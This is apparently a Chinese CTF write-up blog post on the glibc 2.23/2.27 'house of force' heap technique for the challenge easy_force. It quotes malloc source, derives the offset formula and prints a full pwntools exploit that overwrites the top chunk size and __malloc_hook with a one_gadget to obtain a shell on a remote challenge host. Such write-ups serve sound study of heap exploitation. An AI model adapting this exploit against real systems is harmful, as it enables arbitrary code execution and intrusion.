0%

house of force

glibc2.23与2.27之修改top chunk大小达到任意内存申请

例题是 [羊城杯 2023 决赛] easy_force

libc版本是2.23

2.23和2.27的libc缺少了对top chunk的size的检查

通过溢出修改top chunk大小为0xffffffffffffffff 可通过下面的检查,通过控制nb的值,即可完成任意内存申请

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/* finally, do the allocation */
p = av->top;
size = chunksize (p);

/* check that one of the above allocation paths succeeded */
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
remainder_size = size - nb;
remainder = chunk_at_offset (p, nb);
av->top = remainder;
set_head (p, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
check_malloced_chunk (av, p, nb);
return chunk2mem (p);
}

然后经过下面公式,malloc_size 其实就是上面的 nb,具体计算方法看这里关于house of force的学习总结 - ZikH26 - 博客园 (cnblogs.com)

这位师傅写的很详细,也很容易懂,我这里就只记录关键的部分

1
malloc_size = target_addr - 0x20 - top_chunk_addr

然后我们在申请内存的时候可以写成,即可改malloc_hook为one_gadget

1
2
add(2,malloc_hook-0x20-top_chunk)
add(3,0x10,p64(og))

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
from pwn import p8,p16,p32,p64,u32,u64
context.arch = 'amd64'
#context.log_level = 'debug'
context.terminal = ['gnome-terminal', '-e']
local_file = '/home/feichai/ctf_file/pwn'
elf=ELF(local_file)
local_libc = elf.libc.path
libc=ELF(local_libc, checksec = False)

def start():
if args.GDB:
gdbscript = '''
b *0x4008A5
'''
io = process(local_file)
gdb.attach(io, gdbscript)
elif args.PROCESS:
io = process(local_file)
else:
io = remote("node4.anna.nssctf.cn",28538)

return io

def lg(s, addr):
return info(f'\033[1;33m{f"{s}-->0x{addr:02x}"}\033[0m')

r = lambda a: io.recv(a)
ru = lambda a: io.recvuntil(a)
s = lambda a: io.send(a)
sa = lambda a,b: io.sendafter(a,b)
sl = lambda a: io.sendline(a)
sla = lambda a,b: io.sendlineafter(a,b)

io = start()

def add(idx, size, content=b'aaaa'):
sla(b'4.go away',b'1')
sla(b'index?',str(idx))
sla(b'want?',str(size))
sa(b'write?',content)


def exp():

add(0,0x21000)
ru(b'0x')
libc_base = int(ru(b' '),16) - 0x5ca010
lg('libc_base',libc_base)

add(1,0x10,b'a'*0x10+p64(0)+p64(0xffffffffffffffff))
ru(b'0x')
top_chunk = int(ru(b' '),16) + 0x10
lg('top_chunk',top_chunk)

malloc_hook = libc_base + libc.symbols['__malloc_hook']
#malloc_got = elf.got['malloc']
lg('malloc_hook',malloc_hook)
og = [0x4527a, 0xf03a4, 0xf1247]
og = libc_base + og[2]

add(2,malloc_hook-0x20-top_chunk)
add(3,0x10,p64(og))

sla(b'4.go away',b'1')
sla(b'index?',str(4))
sla(b'want?',str(0x10))

io.interactive()

if __name__=='__main__':
exp()
-------------本文结束感谢您的阅读-------------

欢迎关注我的其它发布渠道